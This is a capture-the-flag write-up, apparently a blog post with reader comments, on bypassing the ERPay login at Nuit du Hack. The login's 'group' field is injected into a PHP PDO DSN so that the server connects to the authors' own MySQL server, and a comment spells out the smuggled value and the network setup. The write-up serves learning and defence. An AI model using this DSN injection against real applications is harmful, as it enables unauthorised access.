Description
ERPay is a new ERP management application. You can now steal money from your employees and add the money directly on your bank account !
Resolution
This challenge was pretty cool, even if we were stucked on it during a long time 🙂
By going on whyunoknock.nuitduhack.com,  we can see a login page. Obviously, the thing was to bypass this page 🙂
We checked the paramaters sent to the server with Burp and tried some classic tests, like, you know, SQL Injection ^^
These tests were pretty useless because there is no injection at all, but at this time, we didn’t knew it.
Our tests were mainly based on the group parameter. By changing it, the server replied us with some error numbers.
By checking the error on the interwebs, we can see that error 1044 is when we try to connect to an inexistant base.
Well… that’s pretty obvious, because we actually try to connect to a base named “fake” x)
The interesting thing here is that playing with the group parameter gives us PDOException.
Moreover, during our tests, we saw that sending “users;” to the server didn’t replied us with some “STAHP DOING DUMB THINGS” Exception.
Well well well… “;” doesn’t crash, we have some PDO Exceptions… We dediced to check the PHP doc for the PDO class.
The constructor is defined as follow:
public PDO::__construct ( string $dsn [, string $username [, string $password [, array $options ]]] )
$dsn is a string containing SQL information, like the database name or the host. This string looks like this :
'mysql:dbname=testdb;host=127.0.0.1'
Oh. Wait. What? Did you saw it? The vuln! It’s here! In front of us! Since the beginning!
The group that we send in the auth request. It’s obviously the dbname!
So… If we try to inject more parameters into the dsn ? Like, for example… a specific host!
Hmmm… Exception 2002… “Can’t connect to Mysql Server” As 8.8.8.8 doesn’t have a mysql instance, it seems legit 🙂
But we now know how to pwn the authentication! We just need to set a mysql instance and let the script connect to it.
After some network configuration, our mysql service was up and running, waiting for any connection 🙂
By setting the host to our IP, we saw the script trying to authenticate on our instance (as there is some NAT on our network, the IP of the webserver is 192.168.1.254 and the mysql instance IP is 192.168.1.100)
Wonderful! We now can create an erpay user, and after some configuration, we saw the auth query coming.
The last step was to create a table named logins, with three columns: id, login, and password.
OK, now, everthing is set up, we just have to send the authentication request to the web server, and here it is!
The flag came to us 🙂
How do you config your network to listen between webserver and mysql server
Hello Big4,
Sorry for the delay, I didn’t saw your comment.
Actually, there were 3 steps :
– I allowed mysql to answer for every IP (bind-address 0.0.0.0)
– As my computer was behind my firewall, I had to create a firewall rule to allow the webserver to request the port TCP/3306 and a Destination NAT rule to forward these requests to my mysql server
– Finally, I used a network sniffer. I tried with the tcpdump like tool that was on my firewall, but it was a bit messy, so I used wireshark, which was installed on the computer which ran mysqld.
If you need firther explaination, just post another comment, I’ll answer fastly 🙂
Enjoy
The lsd
Thanks for your support!
Your write-up is very useful. It helps me to improve my knowledge. I’ll try it!
Hi, nice whrite up ! But i want to make sure I understand. In fact you add one parameter to the $dns string to set the host as your sql server, so when you send that request to the formular it will try the ath on your own sql server so the ath is granted and the web server send you the response with the Flag ?
Hello bcs,
Actually, we can just guess how the $dsn is on the server side. But we can easily suppose that $dsn looks like this :
‘mysql:dbname=’.$_POST[‘group’].’;host=127.0.0.1′
The default group value is users, so $dsn will be ‘mysql:dbname=users;host=127.0.0.1’
As I modified group value to ‘tableOnMyOwnSQLInstance;host=1.2.3.4’ (assuming 1.2.3.4 is my public IP which will listen for incoming connections), $dsn value is as followed:
‘mysql:dbname=tableOnMyOwnSQLInstance;host=1.2.3.4;host=127.0.0.1’
As the PDO class cannot connect to multiple hosts (which is quite logical actually 🙂 ), it will choose the first IP : mine!
Then, I have been a bit lucky. During the first test, I saw, that the PDO class tried to connect onto my SQL instance with the user “erpay” (as seen on the wireshark screenshot). So I just created an SQL user “erpay” with a password “erpay”.
When relaunching my test, the PDO class sent credentials and the authentication worked like a charm, meaning that my totally random choosen password was the good one 🙂
The last step has been to look at the attempted request, create the same table, and relaunch a last time my test. With the good table/fields, the requests was OK and the flag have been written onto my SQL instance.
If my explanations are a bit messy, or if you have other questions, feel free to reply me 🙂
Enjoy
The lsd